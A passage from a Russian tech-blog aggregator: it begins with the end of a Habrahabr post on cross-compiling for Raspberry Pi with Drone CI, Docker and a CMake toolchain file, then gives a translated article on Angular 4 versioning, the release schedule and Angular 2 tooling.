Задаётся тэг докер образа, в котором будет происходить сборка и команды для сборки.
Весь .drone.yml для raspberry выглядит так:

build:   image: notfl3/cross_raspberry_pi   commands:     - cmake -D CMAKE_BUILD_TYPE=Debug  -D CMAKE_TOOLCHAIN_FILE=/Toolchain-RaspberryPi.cmake .     - make  publish:   sftp:     host:      port: 22     username: ...     password: ...     destination_path: ...     files:       - ...

Самым сложным для меня местом было создание докер-образа, могущего в кросскомпиляцию для Raspberry.
В интернете есть много готовых, я же сделал свой (в основном что бы поглядеть, что это за докер вообще такой).
Выглядит он примерно так:

FROM debian:sid  RUN apt-get update RUN apt-get install -y git RUN apt-get install -y cmake  ENV CROSS_TRIPLE arm-linux-gnueabihf  RUN mkdir -p /rpi/tools && cd /rpi/tools && git init && git remote add -f origin https://github.com/raspberrypi/tools && \     git config core.sparseCheckout true && echo "arm-bcm2708/gcc-linaro-${CROSS_TRIPLE}-raspbian-x64" >> .git/info/sparse-checkout && \     git pull --depth=1 origin master  RUN mkdir -p /rpi/rootfs/opt  COPY lib/ /rpi/rootfs/lib/ COPY usr/ /rpi/rootfs/usr/ COPY opt/vc/ /rpi/rootfs/opt/vc/  COPY Toolchain-RaspberryPi.cmake /Toolchain-RaspberryPi.cmake  RUN mkdir -p /build WORKDIR /build

Это содержимое моего Dockerfile, для того что бы создать полноценный образ, используемый для сборки — нужно положить его в одну директорию к /usr, /lib, /opt взятых с настоящего Raspbian’a и файлом Toolchain-RaspberryPi.cmake.
после команды docker build . -t notfl3/cross_raspberry_pi drone запущенный на том же сервере сможет воспользоваться этим образом и собирать наши билды.

Сама кросскомпиляция происходит согласно правилам CMake’а, единственный нюанс — я прописал свой Toolchain.cmake файл для gcc из raspberry-tools, выглядит он так:

SET(CMAKE_SYSTEM_NAME Linux) SET(CMAKE_SYSTEM_VERSION 1)  # Where is the target environment SET(CMAKE_FIND_ROOT_PATH /rpi/rootfs)  # Specify the cross compiler SET(CMAKE_C_COMPILER /rpi/tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/bin/arm-linux-gnueabihf-gcc "--sysroot=${CMAKE_FIND_ROOT_PATH}") SET(CMAKE_CXX_COMPILER /rpi/tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/bin/arm-linux-gnueabihf-g++ "--sysroot=${CMAKE_FIND_ROOT_PATH}")  # Search for programs only in the build host directories SET(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)  # Search for libraries and headers only in the target directories SET(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) SET(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)  INCLUDE_DIRECTORIES(${CMAKE_FIND_ROOT_PATH}/usr/include/arm-linux-gnueabihf) INCLUDE_DIRECTORIES(${CMAKE_FIND_ROOT_PATH}/usr/include/) 

С помощью этих нехитрых манипуляций я смог получить работающих билд с glfw окном для raspberry, быстро собирающийся на внешнем выделенным сервере.

Собирается, удивительно!
Res

ссылка на оригинал статьи https://habrahabr.ru/post/318840/

Просто Angular

Введение

8-9-го декабря 2016 года была проведена первая конференция по Angular в Бельгии. Игор Минар (ведущий разработчик Angular) выступил в качестве основного докладчика с несколькими интересными объявлениями относительно того, по какому графику будет выпускаться Angular. И представьте себе, в марте 2017 года нас ждет релиз Angular 4. При этом, на данный момент уже опубликована бета-версия.

От переводчиков

Всем привет, с вами Максим Иванов и Дмитрий Сергиенков, и сегодня мы выясним куда делась третья версия, и почему мы по-прежнему можем быть верны Angular. Сейчас начинающему фронтенд-разработчику, изучающему JavaScript, довольно трудно определиться: какой же фреймворк или библиотеку им взять и изучить, оставаясь в тренде? Конечно, без слова React, сейчас не обходится ни один разговор на тему фронтенда, однако, в свое время я начал с первой версии Angular, начитался много руководств по написанию фронтенда на ES6 (с классами и прочим добром) и до сих пор не жалею. Да, вы можете писать корпоративные приложения с использованием только jQuery, но по мере развития и сложности проекта вы начнете закапывать себя в спагетти-коде, смешивая логику и представление, MV*-фреймворки же этого сделать вам не дадут.

Содержание

  1. Почему Angular 4? Где Angular 3? Что происходит?

  2. Angular2 Webpack Starter

  3. Что хорошего появилось в уходящем 2016 году вместе с Angular 2

Почему Angular 4? Где Angular 3? Что происходит?

image

Спецификация семантического версионирования

Еще в сентябре, когда вышла вторая версия, Angular Team объявила о том, что она будет поддерживать семантическое версионирование (SEMVER).

Как видно из названия, семантическое версионирование — это добавление смысла каждому номеру версии. Семантика номера версии позволяет разработчику определить, что за модернизация была проведена в данной версии продукта, к тому же, мы можем настроить наши инструменты, например, менеджер пакетов NPM, таким образом, чтобы при сборке приложения выбиралась конкретная версия зависимых библиотек, чтобы при этом мы ничего не сломали.

Семантика версии состоит из трех чисел:

image

Всякий раз, когда Вы исправляете ошибку в коде (баг) и выпускаете продукт заново, Вы увеличиваете последнюю цифру; если же просто была добавлена новая функция в вашем продукте, вы увеличиваете вторую цифру, но когда Вы выпускаете продукт с кардинальными (критическими) изменениями, который ломает работу вашего старого кода, Вы увеличиваете первую цифру.

Критические изменения появляются тогда, когда Вам, как разработчику, который использует данную библиотеку, придется вмешаться в свой код и изменить его после обновления и перехода на новую версию.

Что это может означать для Angular Team? Понятно, что для любого бурно развивающегося программного обеспечения наступает момент, когда приходится проводить критические изменения. И поэтому, по объективным соображениям, Angular Team сменила версию 1.x на 2.x, из-за того, что те изменения, которые были выполнены, сломали работу основного кода.

Критические изменения не должны приносить боль

Сообщество Angular точно поймет, о чем идет речь. Пользователям, чтобы перейти на вторую версию, пришлось переписать весь код. Хотя многие и полюбили Angular 1.x, но по объективным причинам были сделаны общие критические изменения, был написан новый API, новые шаблоны. Это было очевидно, и в конечном счете, Angular 2 был полностью переписан (хотя и существует способ менее болезненно мигрировать на новую версию).

Сейчас решено, что переход от версии 2 до версии 4, 5,… не должен быть таким болезненным, как это было с первой версией. Теперь код не будет полностью переписываться, наши изменения будут затрагивать только отдельные библиотеки, поставляемые сейчас с Angular 2, в свою очередь они будут соблюдены согласно SEMVER. Кроме того, постепенно мы будем включать Deprecation фазы (предупреждения консоли разработчика о том, что в следующих версиях данный функционал поддерживаться не будет), чтобы позволить разработчикам своевременно перейти на новый функционал.

Angular Team использует собственный инструмент контроля изменений и обработки автоматических обновлений. Команда упорно работает над ним, и запланировала выпуск совместно с выходом Angular 5 в 2017 году.

Теперь это просто «Angular»

Как вы, возможно, уже догадались, термин «Angular 2» будет устаревшим с выходом 4-ой или 5-ой версии. Тем не менее, теперь следует начать называть его просто «Angular» без версии. Кроме того, вы должны начать избегать библиотек с GitHub/NPM с префиксом ng2- или angular2-. Существует единый ресурс с документацией — angular.io c официальным сообществом на GitHub.

Новые правила версионирования

С этого момента, старайтесь избегать использования номера версии, если он не является действительно необходимым для устранения неоднозначности.

Три простых руководящих принципа:

  • Используйте «Angular» по умолчанию (например, «Я angular-разработчик», «Это Angular-Meetup», «Angular сообщество быстро развивается»)
  • Используйте «Angular 1», «Angular 2», «Angular 4», когда речь идет о специфичных вещах («Это эта функция X появилась в Angular 4», «Мы обновились с Angular 1 до 2», «Я предлагаю это изменение в Angular 5»)
  • Используйте полную версию semver при сообщении об ошибке (например, «Эта проблема присутствует в Angular 2.3.1»)

Вся документация, даже для Angular 1.x, будут приведены в соответствие с этими правилами в ближайшие недели. Но если вы пишите что-то в своем блоге, пишите статьи, курсы, книги или всякий раз, старайтесь ориентироваться на специфическую версию Angular, дописывайте версию в заголовках публикации, якобы в данной статье используется Angular 2.3.1. Это помогает избежать путаницы для ваших читателей, особенно, когда вы пишете о конкретных API.

Почему мы решили все же пропустить третью версию

Библиотеки ядра Angular находятся в одном репозитории на GitHub. Все они имеют свою версию и распространяются как различные пакеты NPM:

image

Из-за несовпадения в версиях маршрутизатор пакетов стал сразу искать Angular 4. Поэтому мы решили, что семантическая версионирование должно быть строгим для основных пакетов ядра, которые гораздо легче поддерживать, а версия Angular именоваться, исходя из последней версии зависимостей.

Кроме того, важно понимать, что Angular используется в Google. Большинство приложений Google используют Angular из основной ветки репозитория на GitHub. Всякий раз, когда происходит обновление в ветке master, все сразу же интегрируется в основной внутренний репозиторий Google (в компании используется один монолитный репозиторий), где располагаются такие продукты как Google Maps, Adsense и другие. В результате все проекты, использующие Angular падают, если они имеют критические изменения, поэтому приходится все переписывать, что, в свою очередь, неудобно. Таким образом, лучше всего иметь полностью унифицированную версию, которую было бы легче поддерживать в течение долгого времени, что помогло бы команде быть более продуктивной в выпуске новых функций.

Предварительный график релизов

Тот факт, что критические изменения все же будут, не означает, что они появятся сразу же через неделю. Angular Team уверяет в том, что в дальнейшем у вас останется обратная совместимость между версиями, теперь изменения будут иметь четкий характер и идти по конкретному графику в течение трех циклов:

  • патч-релизы каждую неделю
  • каждые 3 месяца будут появляться незначительные изменения (minor) в функционале
  • каждые 6 месяцев новая версия Angular с незначительной миграцией

Следующие 3 месяца будут посвящены доработке Angulr 4.0.0.

image

После Angular 4.0.0 вас ждет предварительный график дальнейших выпусков:

image

Вывод: не беспокойтесь

В конце Игор Минар подытожил:

  • не беспокойтесь о номерах версий
  • мы должны развиваться вместе с Angular, чтобы не допускать такого, как это было с различиями между Angular 1.x и 2.x, мы должны сделать это вместе как сообщество, развивать и улучшать наш любимый продукт
  • вы должны осознать почему нам пришлось поступить так с Angular 1.x и переписать все с нуля

Angular2 Webpack Starter

image

Angular2 Webpack Starter — представляет из себя репозиторий для быстрого старта с Angular и TypeScript, посредством сборщика проектов Webpack.

Что включено в данный репозиторий:

  • Лучшие практики по организации файлов и каталогов на Angular 2
  • Система сборки Webpack 2 с TypeScript
  • Демонстрационный пример на основе Angular 2
  • Свежая версия Angular
  • Ahead of Time (AoT) для быстрой загрузки вашего приложения
  • Tree shaking для автоматического удаления неиспользуемого кода из вашего проекта
  • Тестирование с использованием Jasmine и Karma
  • Покрытие тестами с Istanbul и Karma
  • End-to-end Angular 2 тестирование с Protractor
  • Менеджер типов с @types
  • Material Design
  • Hot Module Replacement
  • Поддержка Angular 4 путем изменения package.json и любых других будущих версий

Быстрый старт

Убедитесь, что у вас есть Node.js версии >= 5.0 и NPM >= 3.0

# клонируем наш репозиторий git clone --depth 1 https://github.com/angularclass/angular2-webpack-starter.git  # выбираем директорию cd angular2-webpack-starter  # устанавливаем зависимости посредством npm npm install  # далее по желанию  # запускаем сервер npm start  # запускаем Hot Module Replacement npm run server:dev:hmr

Переходим на http://0.0.0.0:3000 или http://localhost:3000 в вашем браузере. Более подробно на официальном репозитории.

Содержательный видеокурс

Курс даст возможность быстро начать создавать свои приложения с использованием одного из самых популярных фреймворков – Angular 2. В процессе прохождения курса шаг за шагом вы сделаете реальное приложение и хорошо разберетесь в специфике Angular 2. Курс на английском, но на самом деле, если у вас хромает язык, главное попытаться вникнуть в код, который пишет автор, в основном все прикрепляется слайдами, которые тоже интуитивно понятны. Платить ничего не нужно, сиди и развивайся.

Что хорошего появилось в уходящем 2016 году вместе с Angular 2

Статистика

  • 1.3 миллиона разработчиков использующих Angular 1
  • 360 тысяч уже используют Angular 2

image

Если Angular 1 был монолитным проектом, то теперь Angular 2 следует рассматривать как платформу.

image

Angular 1 использовал 43 встроенных директивы, теперь в Angular 2 мы используем [ ] и ( ).

image

Angular 2 быстрее

Изначально Angular 1 весил 56K. А сам Angular 2 был 170K. Angular Team оптимизировали тонны кода и теперь Angular 2 весит 45K.

image

Отложенная загрузка

Основная задача Angular Team была в том, чтобы добиться автоматической отложенной загрузки. Это гарантирует нашим приложениям только то, что необходимо для текущей страницы. Ленивая загрузка также была включена при маршрутизации в приложениях.

Быстрый рендеринг

По сравнению с первой версией приложения на Angular 2 работают в 2,5 раза быстрее, а перерисовка в 4,2 раза быстрее. Команда Angular считает, что она может сделать рендеринг еще более быстрым.

image

Официальное руководство по написанию кода

image

Во времена Angular 1 появилось большое количество руководств по написанию кода. Это привело к большому количеству отличительных стилей, что привело к разночтению в Интернете. Для Angular 2 теперь есть официальное руководство по стилю.

Материальный дизайн для приложений на Angular 2

image

Angular Material выглядит действительно хорошо. Использовать материальный стиль в вашем приложении достаточно легко, просто встраивайте компоненты.

Прогрессивные web-приложения с Angular Mobile Toolkit

image

Angular Mobile Toolkit позволит легко создавать веб-приложений, которые загружаются мгновенно на любом устройстве, даже без подключения к Интернету.

image

Прогрессивные веб-приложения очень интересны для многих веб-разработчиков. Создание и повторное использование вашего кода для создания мобильного приложения с хорошей производительностью, почти равное нативному мобильному приложению. Angular Mobile Toolkit является еще одним шагом к осуществлению этой мечты.

Шаблонизация на стороне сервера

image

Большой проблемой приложений на Angular 1 было то, что они собирались только в браузере. Это означает, что ваши приложения были совершенно SEO-неориентированные.

Команда Angular вынесли основной компонент сборки, и теперь ваши приложения можно собирать где угодно, в том числе и на сервере.

Достаточно легко это сделать при помощи NodeJS для сборки шаблонов на стороне сервера.

Наши приложения теперь будут работать еще быстрее для наших пользователей, теперь мы можем сэкономить драгоценное время рендеринга в браузере.

image

Быстрая разработка приложения через терминал при помощи Angular CLI

image

Самое приятное — это Angular CLI. Установка приложения занимает много этапов, где много вещей может пойти не так:

  • настройка типизации с TypeScript
  • настройка импортов компонентов
  • запуск приложения
  • использование System.js

image

Angular CLI делает установку простой в одну строку:

ng new scotch-app

image

Чтобы начать работать с Angular CLI, все, что вам нужно сделать, это:

npm install -g angular-cli ng new scotch-app cd scotch-app ng serve

Больше нам не требуется Gulp, Grunt, Webpack, Browserify.

image

Большое количество туториалов

Например, это видео вполне объясняет как построить приложение на Angular 2:

Опциональная типизация в вашем web-приложении

Есть много интересных вещей, которые может сделать TypeScript. Есть много причин, почему вы должны использовать TypeScript. Благодаря TypeScript Angular 2 стал лучше развиваться.

image

Хорошие инструменты для отладки

image

Любой человек, который использует Batarangle с Angular 1 знает, что его способность видеть переменные и состояние вашего приложения в браузере является большим подспорьем при разработке.

Теперь есть Angular Augury, он позволяет нам сделать именно это. Нет необходимости в console.log () в каждой части вашего приложения, чтобы увидеть состояние переменной, иерархию и наследование в вашем браузере.

image

Платформа для разработки бизнес-приложений Firebase

image

Вы можете построить приложение в режиме реального времени с Angular 2, Firebase и AngularFire2 примерно за 10 минут, например чат. Есть много функциональных возможностей, которые реализуются в короткий промежуток времени.

image

Кроссплатформенные мобильные приложения с NativeScript + Angular 2

image

В то время как Angular Mobile Toolkit сосредоточено на создании прогрессивных веб-приложений, NativeScript больше заинтересован на создании нативных приложений с Angular 2.

В чем разница, спросите вы? Например в анимации. Имея нативную анимации, отличную от браузерной все будет выглядеть гладко даже при большом количестве объектов.

Простое тестирование благодаря зонам

Zone.js библиотека для управления асинхронными задачи, способ управления контекстом выполнения. Много фантастических слов, но основная идея состоит в том, что тестирование будет намного проще в Angular 2!

image

Все эти асинхронные задачи отслеживаются благодаря zone.js. В своем видео Джули Ральф рассказывает как это работает:

В заключении

Я очень горжусь тем, что Angular вырос из обычного фреймворка в целую платформу, благодаря которой теперь можно легко разрабатывать не только веб-приложения, но и нативные, не уступая в качестве. Много работы проделала Angular Team, и за это им я благодарен. Конечно, вокруг есть много всего хорошего, но быть частью чего-то большого куда приятней. С наступающим Новым годом дорогие читатели, мы желаем вам всего наилучшего и удачи!

ссылка на оригинал статьи https://habrahabr.ru/post/318682/